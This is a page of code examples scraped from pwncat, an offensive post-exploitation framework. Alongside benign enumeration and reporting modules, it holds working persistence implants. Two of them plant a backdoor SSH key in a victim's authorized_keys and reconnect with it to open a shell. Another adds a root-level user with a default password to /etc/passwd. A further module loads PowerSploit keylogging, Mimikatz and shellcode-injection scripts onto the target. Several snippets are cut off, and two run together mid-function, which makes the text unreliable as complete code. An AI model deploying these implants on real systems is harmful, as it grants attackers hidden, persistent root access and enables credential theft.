Exemple #1
0
class Module(BaseModule):
    """  """

    ARGUMENTS = {"arg1": Argument(type=int)}
    PLATFORM = pwncat.platform.Platform.ANY

    def run(self, arg1):
        values = [random.randint(1, 100) for _ in range(arg1)]

        for i in values:
            yield i
            time.sleep(1)
Exemple #2
0
class Module(BaseModule):
    """  """

    ARGUMENTS = {"arg1": Argument(type=int)}

    def run(self, arg1):
        categories = ["Category 1", "Category 2", "Category 3"]
        values = [random.randint(1, 100) for _ in range(arg1)]

        for i in values:
            yield TestResult(random.choice(categories), i)
            time.sleep(1)
Exemple #3
0
class Module(BaseModule):
    """ Perform a quick enumeration of common useful data """

    ARGUMENTS = {
        "output":
        Argument(str,
                 default=None,
                 help="Path a to file to write a markdown report")
    }
    PLATFORM = pwncat.modules.Platform.ANY

    def run(self, output):
        return pwncat.modules.run(
            "enumerate.gather",
            progress=self.progress,
            types=["system.*", "software.sudo.*", "file.suid"],
            output=output,
        )
Exemple #4
0
class Module(BaseModule):
    """
    Run common enumerations and produce a report. Optionally, write the report
    in markdown format to a file.
    """

    PLATFORM = None
    ARGUMENTS = {
        "output":
        Argument(
            str,
            default="terminal",
            help=
            "Path to markdown file to store report (default: render to terminal)",
        ),
        "template":
        Argument(
            str,
            default="platform name",
            help="The name of the template to use (default: platform name)",
        ),
        "fmt":
        Argument(
            str,
            default="md",
            help=
            'The format of the output. This can be "md" or "html". (default: md)',
        ),
        "custom":
        Argument(
            Bool,
            default=False,
            help=
            "Use a custom template; the template argument must be the path to a jinja2 template",
        ),
    }

    def generate_markdown_table(self, data: List[List], headers: bool = False):
        """Generate a markdown table from the given data and headers"""

        # Get column widths
        widths = [
            max(len(data[r][c]) for r in range(len(data)))
            for c in range(len(data[0]))
        ]

        rows = []
        for r in range(len(data)):
            rows.append("|" + "|".join([
                " " + data[r][c] + " " * (widths[c] - len(data[r][c]) + 1)
                for c in range(len(data[r]))
            ]) + "|")

        if headers:
            rows.insert(
                1,
                "|" + "|".join(
                    [" " + "-" * widths[c] + " "
                     for c in range(len(data[r]))]) + "|",
            )

        return "  \n".join(rows)

    def run(self, session: "pwncat.manager.Session", output, template, fmt,
            custom):
        """Perform enumeration and optionally write report"""

        if custom:
            env = jinja2.Environment(
                loader=jinja2.FileSystemLoader(os.getcwd()),
                # autoescape=jinja2.select_autoescape(["md", "html"]),
                trim_blocks=True,
                lstrip_blocks=True,
            )
        else:
            env = jinja2.Environment(
                loader=jinja2.PackageLoader("pwncat", "data/reports"),
                # autoescape=jinja2.select_autoescape(["md", "html"]),
                trim_blocks=True,
                lstrip_blocks=True,
            )

        if template == "platform name":
            use_platform = True
            template = session.platform.name
        else:
            use_platform = False

        env.filters["first_or_none"] = lambda thing: thing[0
                                                           ] if thing else None
        env.filters["attr_or"] = (
            lambda fact, name, default=None: getattr(fact, name)
            if fact is not None else default)
        env.filters["title_or_unknown"] = (
            lambda fact: strip_markup(fact.title(session))
            if fact is not None else "unknown")
        env.filters["remove_rich"] = lambda thing: strip_markup(str(thing))
        env.filters["table"] = self.generate_markdown_table

        try:
            template = env.get_template(f"{template}.{fmt}")
        except jinja2.TemplateNotFound as exc:
            if use_platform:
                try:
                    template = env.get_template(f"generic.{fmt}")
                except jinja2.TemplateNotFound as exc:
                    raise ModuleFailed(str(exc)) from exc
            else:
                raise ModuleFailed(str(exc)) from exc

        # Just some convenience things for the templates
        context = {
            "target": session.target,
            "manager": session.manager,
            "session": session,
            "platform": session.platform,
            "datetime": datetime.datetime.now(),
        }

        try:
            if output != "terminal":
                with open(output, "w") as filp:
                    template.stream(context).dump(filp)
            else:
                markdown = Markdown(template.render(context), hyperlinks=False)
                console.print(markdown)
        except jinja2.TemplateError as exc:
            raise ModuleFailed(str(exc)) from exc
Exemple #5
0
class EnumerateModule(BaseModule):
    """ Base class for all enumeration modules """

    # List of categories/enumeration types this module provides
    # This should be set by the sub-classes to know where to find
    # different types of enumeration data
    PROVIDES = []
    PLATFORM = Platform.LINUX

    # Defines how often to run this enumeration. The default is to
    # only run once per system/target.
    SCHEDULE = Schedule.ONCE

    # Arguments which all enumeration modules should take
    # This shouldn't be modified. Enumeration modules don't take any
    # parameters
    ARGUMENTS = {
        "types":
        Argument(
            List(str),
            default=[],
            help="A list of enumeration types to retrieve (default: all)",
        ),
        "clear":
        Argument(
            bool,
            default=False,
            help=
            "If specified, do not perform enumeration. Cleared cached results.",
        ),
    }

    def run(self, types, clear):
        """ Locate all facts this module provides.

        Sub-classes should not override this method. Instead, use the
        enumerate method. `run` will cross-reference with database and
        ensure enumeration modules aren't re-run.
        """

        marker_name = self.name
        if self.SCHEDULE == Schedule.PER_USER:
            marker_name += f".{pwncat.victim.current_user.id}"

        if clear:
            # Delete enumerated facts
            query = pwncat.victim.session.query(pwncat.db.Fact).filter_by(
                source=self.name, host_id=pwncat.victim.host.id)
            query.delete(synchronize_session=False)
            # Delete our marker
            if self.SCHEDULE != Schedule.ALWAYS:
                query = (pwncat.victim.session.query(pwncat.db.Fact).filter_by(
                    host_id=pwncat.victim.host.id, type="marker").filter(
                        pwncat.db.Fact.source.startswith(self.name)))
                query.delete(synchronize_session=False)
            return

        # Yield all the know facts which have already been enumerated
        existing_facts = (pwncat.victim.session.query(
            pwncat.db.Fact).filter_by(source=self.name,
                                      host_id=pwncat.victim.host.id).filter(
                                          pwncat.db.Fact.type != "marker"))

        if types:
            for fact in existing_facts.all():
                for typ in types:
                    if fnmatch.fnmatch(fact.type, typ):
                        yield fact
        else:
            yield from existing_facts.all()

        if self.SCHEDULE != Schedule.ALWAYS:
            exists = (pwncat.victim.session.query(pwncat.db.Fact.id).filter_by(
                host_id=pwncat.victim.host.id,
                type="marker",
                source=marker_name).scalar() is not None)
            if exists:
                return

        # Get any new facts
        for item in self.enumerate():
            if isinstance(item, Status):
                yield item
                continue

            typ, data = item

            row = pwncat.db.Fact(host_id=pwncat.victim.host.id,
                                 type=typ,
                                 data=data,
                                 source=self.name)
            try:
                pwncat.victim.session.add(row)
                pwncat.victim.host.facts.append(row)
                pwncat.victim.session.commit()
            except sqlalchemy.exc.IntegrityError:
                pwncat.victim.session.rollback()
                yield Status(data)
                continue

            # Don't yield the actual fact if we didn't ask for this type
            if types:
                for typ in types:
                    if fnmatch.fnmatch(row.type, typ):
                        yield row
                    else:
                        yield Status(data)
            else:
                yield row

        # Add the marker if needed
        if self.SCHEDULE != Schedule.ALWAYS:
            row = pwncat.db.Fact(
                host_id=pwncat.victim.host.id,
                type="marker",
                source=marker_name,
                data=None,
            )
            pwncat.victim.session.add(row)
            pwncat.victim.host.facts.append(row)

    def enumerate(self):
        """ Defined by sub-classes to do the actual enumeration of
class Module(ImplantModule):
    """
    Install the custom backdoor key-pair as an authorized key for
    the specified user. This method only succeeds for a user other
    than the current user if you are currently root.
    """

    PLATFORM = [Linux]
    ARGUMENTS = {
        **ImplantModule.ARGUMENTS,
        "user":
        Argument(
            str,
            default="__pwncat_current__",
            help=
            "the user for which to install the implant (default: current user)",
        ),
        "key":
        Argument(str, help="path to keypair which will be added for the user"),
    }

    def install(self, session: "pwncat.manager.Session", user, key):

        yield Status("verifying user permissions")
        current_user = session.current_user()
        if user != "__pwncat_current__" and current_user.id != 0:
            raise ModuleFailed(
                "only root can install implants for other users")

        if not os.path.isfile(key):
            raise ModuleFailed(f"private key {key} does not exist")

        try:
            yield Status("reading public key")
            with open(key + ".pub", "r") as filp:
                pubkey = filp.read().rstrip("\n") + "\n"
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        # Parse user name (default is current user)
        if user == "__pwncat_current__":
            user_info = current_user
        else:
            user_info = session.find_user(name=user)

        # Ensure the user exists
        if user_info is None:
            raise ModuleFailed(f"user [blue]{user}[/blue] does not exist")

        # Ensure we haven't already installed for this user
        for implant in session.run("enumerate", types=["implant.*"]):
            if implant.source == self.name and implant.uid == user_info.uid:
                raise ModuleFailed(
                    f"{self.name} already installed for {user_info.name}")

        # Ensure the directory exists
        yield Status("locating authorized keys")
        homedir = session.platform.Path(user_info.home)
        if not (homedir / ".ssh").is_dir():
            (homedir / ".ssh").mkdir(parents=True, exist_ok=True)

        authkeys_path = homedir / ".ssh" / "authorized_keys"

        if authkeys_path.is_file():
            try:
                yield Status("reading authorized keys")
                with authkeys_path.open("r") as filp:
                    authkeys = filp.readlines()
            except (FileNotFoundError, PermissionError) as exc:
                raise ModuleFailed(str(exc)) from exc
        else:
            authkeys = []

        # Add the public key to authorized keys
        authkeys.append(pubkey)

        try:
            yield Status("patching authorized keys")
            with authkeys_path.open("w") as filp:
                filp.writelines(authkeys)
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        # Ensure correct permissions
        yield Status("fixing authorized keys permissions")
        session.platform.chown(str(authkeys_path), user_info.id, user_info.gid)
        authkeys_path.chmod(0o600)

        return AuthorizedKeyImplant(self.name, user_info, key, pubkey)
Exemple #7
0
class PersistModule(BaseModule):
    """
    Base class for all persistence modules.

    Persistence modules should inherit from this class, and implement
    the ``install``, ``remove``, and ``escalate`` methods. All modules must
    take a ``user`` argument. If the module is a "system" module, and
    can only be installed as root, then an error should be raised for
    any "user" that is not root.

    If you need your own arguments to a module, you can define your
    arguments like this:

    .. code-block:: python

        ARGUMENTS = {
            **PersistModule.ARGUMENTS,
            "your_arg": Argument(str)
        }

    All arguments **must** be picklable. They are stored in the database
    as a SQLAlchemy PickleType containing a dictionary of name-value
    pairs.

    """

    TYPE: PersistType = PersistType.LOCAL
    """ Defines where this persistence module is useful (either remote
    connection or local escalation or both). This also identifies a
    given persistence module as applying to "all users" """
    ARGUMENTS = {
        "user":
        Argument(str, help="The user to install persistence as"),
        "remove":
        Argument(Bool,
                 default=False,
                 help="Remove an installed module with these parameters"),
        "escalate":
        Argument(
            Bool,
            default=False,
            help="Utilize this persistence module to escalate locally",
        ),
        "connect":
        Argument(
            Bool,
            default=False,
            help=
            "Connect to a remote host with this module. Only valid from the connect command.",
        ),
    }
    """ The default arguments for any persistence module. If other
    arguments are specified in sub-classes, these must also be
    included to ensure compatibility across persistence modules. """
    COLLAPSE_RESULT = True
    """ The ``run`` method returns a single scalar value even though
    it utilizes a generator to provide status updates. """
    def __init__(self):
        super(PersistModule, self).__init__()

        if PersistType.ALL_USERS in self.TYPE:
            self.ARGUMENTS["user"].default = None
            self.ARGUMENTS[
                "user"].help = "Ignored for install/remove. Defaults to root for escalate."
            self.ARGUMENTS["user"].type = str_or_none

    def run(self, remove, escalate, connect, **kwargs):
        """ This method should not be overriden by subclasses. It handles all logic
        for installation, escalation, connection, and removal. The standard interface
        of this method allows abstract interactions across all persistence modules. """

        if "user" not in kwargs:
            raise RuntimeError(f"{self.__class__} must take a user argument")

        # We need to clear the user for ALL_USERS modules,
        # but it may be needed for escalate.
        requested_user = kwargs["user"]
        if PersistType.ALL_USERS in self.TYPE:
            kwargs["user"] = None

        # Check if this module has been installed with the same arguments before
        ident = (pwncat.victim.session.query(
            pwncat.db.Persistence.id).filter_by(host_id=pwncat.victim.host.id,
                                                method=self.name,
                                                args=kwargs).scalar())

        # Remove this module
        if ident is not None and remove:
            # Run module-specific cleanup
            result = self.remove(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result

            # Remove from the database
            pwncat.victim.session.query(pwncat.db.Persistence).filter_by(
                host_id=pwncat.victim.host.id, method=self.name,
                args=kwargs).delete(synchronize_session=False)
            return
        elif ident is not None and escalate:
            # This only happens for ALL_USERS, so we assume they want root.
            if requested_user is None:
                kwargs["user"] = "******"
            else:
                kwargs["user"] = requested_user

            result = self.escalate(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result

            # There was no exception, so we assume it worked. Put the user
            # back in raw mode. This is a bad idea, since we may be running
            # escalate from a privesc context.
            # pwncat.victim.state = State.RAW
            return
        elif ident is not None and connect:
            if requested_user is None:
                kwargs["user"] = "******"
            else:
                kwargs["user"] = requested_user
            result = self.connect(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result
            return
        elif ident is None and (remove or escalate or connect):
            raise PersistError(
                f"{self.name}: not installed with these arguments")
        elif ident is not None:
            yield Status(
                f"{self.name}: already installed with matching arguments")
            return

        # Let the installer also produce results
        result = self.install(**kwargs)
        if inspect.isgenerator(result):
            yield from result
        elif result is not None:
            yield result

        self.register(**kwargs)

    def register(self, **kwargs):
        """
        Register a module as installed, even if it wasn't installed by
        the bundled ``install`` method. This is mainly used during escalation
        when a standard persistence method is installed manually through
        escalation file read/write.
        """

        if "user" not in kwargs:
            raise RuntimeError(f"{self.__class__} must take a user argument")

        # Register this persistence module in the database
        row = pwncat.db.Persistence(
            host_id=pwncat.victim.host.id,
            method=self.name,
            user=kwargs["user"],
            args=kwargs,
        )
        pwncat.victim.host.persistence.append(row)

        pwncat.victim.session.commit()

    def install(self, **kwargs):
        """
        Install this persistence module on the victim host.

        :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
        :type user: str
        :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary.
        :raises PersistError: All errors must be PersistError or a subclass thereof.

        """
        raise NotImplementedError

    def remove(self, **kwargs):
        """
        Remove this persistence module from the victim host.

        :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
        :type user: str
        :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary.
        :raises PersistError: All errors must be PersistError or a subclass thereof.

        """
        raise NotImplementedError

    def escalate(self, **kwargs):
        """
        Escalate locally from the current user to another user by
        using this persistence module.

        :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
        :type user: str
        :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary.
        :raises PersistError: All errors must be PersistError or a subclass thereof.

        """
        raise NotImplementedError

    def connect(self, **kwargs) -> socket.SocketType:
        """
        Connect to a victim host by utilizing this persistence
        module. The host address can be found in the ``pwncat.victim.host``
        object.

        :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
        :type user: str
        :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary.
        :rtype: socket.SocketType
        :return: An open channel to the victim
        :raises PersistError: All errors must be PersistError or a subclass thereof.

        """
        raise NotImplementedError
Exemple #8
0
class Module(PersistModule):
    """
    Install the custom backdoor key-pair as an authorized key for
    the specified user. This method only succeeds for a user other
    than the current user if you are currently root.
    """

    # We can escalate locally with `ssh localhost`
    TYPE = PersistType.LOCAL | PersistType.REMOTE
    PLATFORM = Platform.LINUX
    ARGUMENTS = {
        **PersistModule.ARGUMENTS,
        "backdoor_key":
        Argument(str, help="Path to a private/public key pair to install"),
    }

    def install(self, user, backdoor_key):
        """ Install this persistence method """

        homedir = pwncat.victim.users[user].homedir
        if not homedir or homedir == "":
            raise PersistError("no home directory")

        # Create .ssh directory if it doesn't exist
        access = pwncat.victim.access(os.path.join(homedir, ".ssh"))
        if Access.DIRECTORY not in access or Access.EXISTS not in access:
            pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")])

        # Create the authorized_keys file if it doesn't exist
        access = pwncat.victim.access(
            os.path.join(homedir, ".ssh", "authorized_keys"))
        if Access.EXISTS not in access:
            pwncat.victim.run(
                ["touch",
                 os.path.join(homedir, ".ssh", "authorized_keys")])
            pwncat.victim.run([
                "chmod", "600",
                os.path.join(homedir, ".ssh", "authorized_keys")
            ])
            authkeys = []
        else:
            try:
                # Read in the current authorized keys if it exists
                with pwncat.victim.open(
                        os.path.join(homedir, ".ssh", "authorized_keys"),
                        "r") as filp:
                    authkeys = filp.readlines()
            except (FileNotFoundError, PermissionError) as exc:
                raise PersistError(str(exc))

        try:
            # Read our public key
            with open(backdoor_key + ".pub", "r") as filp:
                pubkey = filp.readlines()
        except (FileNotFoundError, PermissionError) as exc:
            raise PersistError(str(exc))

        # Ensure we read a public key
        if not pubkey:
            raise PersistError(
                f"{pwncat.config['privkey']+'.pub'}: empty public key")

        # Add our public key
        authkeys.extend(pubkey)
        authkey_data = "".join(authkeys)

        # Write the authorized keys back to the authorized keys
        try:
            with pwncat.victim.open(
                    os.path.join(homedir, ".ssh", "authorized_keys"),
                    "w",
                    length=len(authkey_data),
            ) as filp:
                filp.write(authkey_data)
        except (FileNotFoundError, PermissionError) as exc:
            raise PersistError(str(exc))

        # Ensure we have correct permissions for ssh to work properly
        pwncat.victim.env(
            ["chmod", "600",
             os.path.join(homedir, ".ssh", "authorized_keys")])
        pwncat.victim.env([
            "chown",
            f"{user}:{user}",
            os.path.join(homedir, ".ssh", "authorized_keys"),
        ])

        # Register the modifications with the tamper module
        pwncat.victim.tamper.modified_file(os.path.join(
            homedir, ".ssh", "authorized_keys"),
                                           added_lines=pubkey)

    def remove(self, user, backdoor_key):
        """ Remove this persistence method """

        try:
            # Read our public key
            with open(backdoor_key + ".pub", "r") as filp:
                pubkey = filp.readlines()
        except (FileNotFoundError, PermissionError) as exc:
            raise PersistError(str(exc))

        # Find the user's home directory
        homedir = pwncat.victim.users[user].homedir
        if not homedir or homedir == "":
            raise PersistError("no home directory")

        # Remove the tamper tracking
        for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile):
            if (tamper.path == os.path.join(homedir, ".ssh", "authorized_keys")
                    and tamper.added_lines == pubkey):
                try:
                    # Attempt to revert our changes
                    tamper.revert()
                except pwncat.tamper.RevertFailed as exc:
                    raise PersistError(str(exc))
                # Remove the tamper tracker
                pwncat.victim.tamper.remove(tamper)
                break
        else:
            raise PersistError("failed to find matching tamper")

    def escalate(self, user, backdoor_key):
        """ Locally escalate to the given user with this method """

        try:
            # Ensure there is an SSH server
            sshd = pwncat.victim.find_service("sshd")
        except ValueError:
            return False

        # Ensure it is running
        if not sshd.running:
            return False

        # Upload the private key
        with pwncat.victim.tempfile(
                "w", length=os.path.getsize(backdoor_key)) as dst:
            with open(backdoor_key, "r") as src:
                shutil.copyfileobj(src, dst)

            privkey_path = dst.name

        # Ensure correct permissions
        try:
            pwncat.victim.env(["chmod", "600", privkey_path])
        except FileNotFoundError:
            # We don't have chmod :( this probably won't work, but
            # we can try it.
            pass

        # Run SSH, disabling password authentication to force public key
        # Don't wait for the result, because this won't exit
        pwncat.victim.env(
            [
                "ssh",
                "-i",
                privkey_path,
                "-o",
                "StrictHostKeyChecking=no",
                "-o",
                "PasswordAuthentication=no",
                f"{user}@localhost",
            ],
            wait=False,
        )

        # Delete the private key. This either worked and we didn't need it
        # or it didn't work and we still don't need it.
        try:
            pwncat.victim.env(["rm", "-f", privkey_path])
        except FileNotFoundError:
            # File removal failed because `rm` doesn't exist. Register it as a tamper.
            pwncat.victim.tamper.created_file(privkey_path)

        return True

    def connect(self, user, backdoor_key: str) -> socket.SocketType:
        """ Reconnect to this host with this persistence method """

        try:
            # Connect to the remote host's ssh server
            sock = socket.create_connection((pwncat.victim.host.ip, 22))
        except Exception as exc:
            raise PersistError(str(exc))

        # Create a paramiko SSH transport layer around the socket
        t = paramiko.Transport(sock)
        try:
            t.start_client()
        except paramiko.SSHException:
            raise PersistError("ssh negotiation failed")

        try:
            # Load the private key for the user
            key = paramiko.RSAKey.from_private_key_file(backdoor_key)
        except:
            password = prompt("RSA Private Key Passphrase: ", is_password=True)
            key = paramiko.RSAKey.from_private_key_file(backdoor_key, password)

        # Attempt authentication
        try:
            t.auth_publickey(user, key)
        except paramiko.ssh_exception.AuthenticationException:
            raise PersistError("authorized key authentication failed")

        if not t.is_authenticated():
            t.close()
            sock.close()
            raise PersistError("authorized key authentication failed")

        # Open an interactive session
        chan = t.open_session()
        chan.get_pty()
        chan.invoke_shell()

        return chan
Exemple #9
0
class Module(ImplantModule):
    """Add a user to /etc/passwd with a known password and UID/GID of 0."""

    TYPE = ImplantType.REPLACE
    PLATFORM = [Linux]
    ARGUMENTS = {
        **ImplantModule.ARGUMENTS,
        "backdoor_user": Argument(
            str, default="pwncat", help="name of new uid=0 user (default: pwncat)"
        ),
        "backdoor_pass": Argument(
            str, default="pwncat", help="password for new user (default: pwncat)"
        ),
        "shell": Argument(
            str, default="current", help="shell for new user (default: current)"
        ),
    }

    def install(
        self,
        session: "pwncat.manager.Session",
        backdoor_user,
        backdoor_pass,
        shell,
    ):
        """Add the new user"""

        if session.current_user().id != 0:
            raise ModuleFailed("installation required root privileges")

        if shell == "current":
            shell = session.platform.getenv("SHELL")
        if shell is None:
            shell = "/bin/sh"

        try:
            yield Status("reading passwd contents")
            with session.platform.open("/etc/passwd", "r") as filp:
                passwd_contents = list(filp)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("faild to read /etc/passwd")

        # Hash the password
        yield Status("hashing password")
        backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)

        # Store the new line we are adding
        new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""

        # Add the new line
        passwd_contents.append(new_line)

        try:
            # Write the new contents
            yield Status("patching /etc/passwd")
            with session.platform.open("/etc/passwd", "w") as filp:
                filp.writelines(passwd_contents)

            # Return an implant tracker
            return PasswdImplant(self.name, backdoor_user, backdoor_pass, new_line)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("failed to write /etc/passwd")
Exemple #10
0
class Module(BaseModule):
    """
    Load and execute modules from the PowerSploit PowerShell library. Modules are loaded in
    groups referring to the directory structure of PowerSploit. Passing no arguments to this
    module will list all available groups. Modules are downloaded directly from GitHub and
    sideloaded to the target.

    The PowerSploit source can be seen at https://github.com/PowerShellMafia/PowerSploit
    """

    MODULES = {
        "recon": [
            "Recon/Get-ComputerDetail.ps1",
            "Recon/Get-HttpStatus.ps1",
            "Recon/Invoke-CompareAttributesForClass.ps1",
            "Recon/Invoke-Portscan.ps1",
            "Recon/Invoke-ReverseDnsLookup.ps1",
            "Recon/PowerView.ps1",
        ],
        "privesc": [
            "Privesc/PowerUp.ps1",
            "Privesc/Get-System.ps1",
        ],
        "persist": [
            "Persistence/Persistence.psm1",
        ],
        "mayhem": [
            "Mayhem/Mayhem.psm1",
        ],
        "exfil": [
            "Exfiltration/Get-GPPAutologon.ps1",
            "Exfiltration/Get-GPPPassword.ps1",
            "Exfiltration/Get-Keystrokes.ps1",
            "Exfiltration/Get-MicrophoneAudio.ps1",
            "Exfiltration/Get-TimedScreenshot.ps1",
            "Exfiltration/Get-VaultCredential.ps1",
            "Exfiltration/Invoke-CredentialInjection.ps1",
            "Exfiltration/Invoke-Mimikatz.ps1",
            "Exfiltration/Invoke-NinjaCopy.ps1",
            "Exfiltration/Invoke-TokenManipulation.ps1",
            "Exfiltration/Out-Minidump.ps1",
            "Exfiltration/VolumeShadowCopyTools.ps1",
        ],
        "exec": [
            "CodeExecution/Invoke-DllInjection.ps1",
            "CodeExecution/Invoke-ReflectivePEInjection.ps1",
            "CodeExecution/Invoke-Shellcode.ps1",
            "CodeExecution/Invoke-WmiCommand.ps1",
        ],
        "bypass": [
            "AntivirusBypass/Find-AVSignature.ps1",
        ],
        "script": [
            "ScriptModification/Out-CompressedDll.ps1",
            "ScriptModification/Out-EncodedCommand.ps1",
            "ScriptModification/Out-EncryptedScript.ps1",
            "ScriptModification/Remove-Comment.ps1",
        ],
    }
    POWERSPLOIT_URL = (
        "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/"
    )
    PLATFORM = [Windows]
    ARGUMENTS = {
        "group":
        Argument(
            str,
            default="list",
            help=
            "Name of the PowerSploit module group to load (default: list groups)",
        ),
    }
    POWERUP_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1"

    def run(self, session: "pwncat.manager.Session", group: str):

        # Use the result system so that other modules can query available groups
        if group == "list":
            yield from (GroupInfo(name) for name in self.MODULES.keys())
            return

        # Ensure the user selected a valid group
        if group not in self.MODULES:
            raise ModuleFailed(f"no such PowerSploit module: {group}")

        # Iterate over all sources in the group
        for url in self.MODULES[group]:
            yield Status(f"loading {url.split('/')[-1]}")

            path = pkg_resources.resource_filename(
                "pwncat", os.path.join("data/PowerSploit", url))

            try:
                # Attempt to load the script in the PowerShell context.
                session.run("manage.powershell.import", path=path)
            except PowershellError as exc:
                # We failed, but continue loading other scripts. Just let the user know.
                session.log(f"while loading {url.split('/')[-1]}: {str(exc)}")
Exemple #11
0
class EnumerateModule(BaseModule):
    """Base class for all enumeration modules.

    As discussed above, an enumeration module must define the :func:`enumerate`
    method, provide a list of supported platforms, a list of provided fact types
    and a schedule.

    The base enumeration module's :func:`run` method will provide a few routines
    and options. You can filter the results of this module with the ``types``
    argument. This causes the module to only return the types specified. You can
    also tell the module to clear any cached data from the database generated by
    this module. Lastly, if you specify ``cache=False``, the module will only
    return new facts that were not cached in the database already.
    """

    # List of categories/enumeration types this module provides
    # This should be set by the sub-classes to know where to find
    # different types of enumeration data
    PROVIDES: typing.List[str] = []
    """ List of fact types which this module is capable of providing """
    PLATFORM: typing.List[typing.Type[Platform]] = []
    """ List of supported platforms for this module """

    SCHEDULE: Schedule = Schedule.ONCE
    """ Determine the run schedule for this enumeration module """

    # Arguments which all enumeration modules should take
    # This shouldn't be modified. Enumeration modules don't take any
    # parameters
    ARGUMENTS = {
        "types":
        Argument(
            List(str),
            default=[],
            help="A list of enumeration types to retrieve (default: all)",
        ),
        "clear":
        Argument(
            bool,
            default=False,
            help=
            "If specified, do not perform enumeration. Cleared cached results.",
        ),
        "cache":
        Argument(
            bool,
            default=True,
            help="return cached facts along with new facts (default: True)",
        ),
    }
    """ Arguments accepted by all enumeration modules. This **should not** be overridden. """
    def run(
        self,
        session: "pwncat.manager.Session",
        types: typing.List[str],
        clear: bool,
        cache: bool,
    ):
        """Locate all facts this module provides.

        Sub-classes should not override this method. Instead, use the
        enumerate method. `run` will cross-reference with database and
        ensure enumeration modules aren't re-run.

        :param session: the session on which to run the module
        :type session: pwncat.manager.Session
        :param types: list of requested fact types
        :type types: List[str]
        :param clear: whether to clear all cached enumeration data
        :type clear: bool
        :param cache: whether to return facts from the database or only new facts
        :type cache: bool
        """

        # Retrieve the DB target object
        target = session.target

        if clear:
            # Filter out all facts which were generated by this module
            target.facts = persistent.list.PersistentList(
                (f for f in target.facts if f.source != self.name))

            # Remove the enumeration state if available
            if self.name in target.enumerate_state:
                del target.enumerate_state[self.name]

            return

        # Yield all the know facts which have already been enumerated
        if cache and types:
            cached = [
                f for f in target.facts if f.source == self.name and any(
                    any(
                        fnmatch.fnmatch(item_type, req_type)
                        for req_type in types) for item_type in f.types)
            ]
        elif cache:
            cached = [f for f in target.facts if f.source == self.name]
        else:
            cached = []

        yield from cached

        # Check if the module is scheduled to run now
        if (self.name in target.enumerate_state) and (
            (self.SCHEDULE == Schedule.ONCE
             and self.name in target.enumerate_state) or
            (self.SCHEDULE == Schedule.PER_USER and session.platform.getuid()
             in target.enumerate_state[self.name])):
            return

        for item in self.enumerate(session):

            # Allow non-fact status updates
            if isinstance(item, Status) or self.SCHEDULE == Schedule.NOSAVE:
                yield item
                continue

            # Only add the item if it doesn't exist
            for f in target.facts:
                if f == item:
                    break
            else:
                target.facts.append(item)

            # Don't yield the actual fact if we didn't ask for this type
            if not types or any(
                    any(
                        fnmatch.fnmatch(item_type, req_type)
                        for req_type in types) for item_type in item.types):
                for c in cached:
                    if item == c:
                        break
                else:
                    yield item
            else:
                yield Status(item.title(session))

        # Update state for restricted modules
        if self.SCHEDULE == Schedule.ONCE:
            target.enumerate_state[self.name] = True
        elif self.SCHEDULE == Schedule.PER_USER:
            if self.name not in target.enumerate_state:
                target.enumerate_state[
                    self.name] = persistent.list.PersistentList()
            target.enumerate_state[self.name].append(session.platform.getuid())

    def enumerate(
        self, session: "pwncat.manager.Session"
    ) -> typing.Generator[Fact, None, None]:
        """Enumerate facts according to the types listed in ``PROVIDES``.
Exemple #12
0
class Module(BaseModule):
    """Interact with installed implants in an open session. This module
    provides the ability to remove implants as well as manually escalate
    with a given implant. Implants implementing local escalation will
    automatically be picked up by the `escalate` command, however this
    module provides an alternative way to trigger escalation manually."""

    PLATFORM = None
    """ No platform restraints """
    ARGUMENTS = {
        "remove":
        Argument(Bool, default=False, help="remove installed implants"),
        "escalate":
        Argument(Bool,
                 default=False,
                 help="escalate using an installed local implant"),
    }

    def run(self, session, remove, escalate):
        """Perform the requested action"""

        if (not remove and not escalate) or (remove and escalate):
            raise ModuleFailed("expected one of escalate or remove")

        # Look for matching implants
        implants = list(
            implant
            for implant in session.run("enumerate", types=["implant.*"])
            if not escalate or "implant.replace" in implant.types
            or "implant.spawn" in implant.types)

        try:
            session._progress.stop()

            console.print("Found the following implants:")
            for i, implant in enumerate(implants):
                console.print(f"{i+1}. {implant.title(session)}")

            if remove:
                prompt = "Which should we remove (e.g. '1 2 4', default: all)? "
            elif escalate:
                prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? "

            while True:
                selections = Prompt.ask(prompt, console=console)
                if selections == "":
                    break

                try:
                    implant_ids = [int(idx.strip()) for idx in selections]
                    # Filter the implants
                    implants: List[Implant] = [
                        implants[i - 1] for i in implant_ids
                    ]
                    break
                except (IndexError, ValueError):
                    console.print("[red]error[/red]: invalid selection!")

        finally:
            session._progress.start()

        nremoved = 0

        for implant in implants:
            if remove:
                try:
                    yield Status(f"removing: {implant.title(session)}")
                    implant.remove(session)
                    session.target.facts.remove(implant)
                    nremoved += 1
                except KeepImplantFact:
                    # Remove implant types but leave the fact
                    implant.types.remove("implant.remote")
                    implant.types.remove("implant.replace")
                    implant.types.remove("implant.spawn")
                    nremoved += 1
                except ModuleFailed:
                    session.log(
                        f"[red]error[/red]: removal failed: {implant.title(session)}"
                    )
            elif escalate:
                try:
                    yield Status(
                        f"attempting escalation with: {implant.title(session)}"
                    )
                    result = implant.escalate(session)

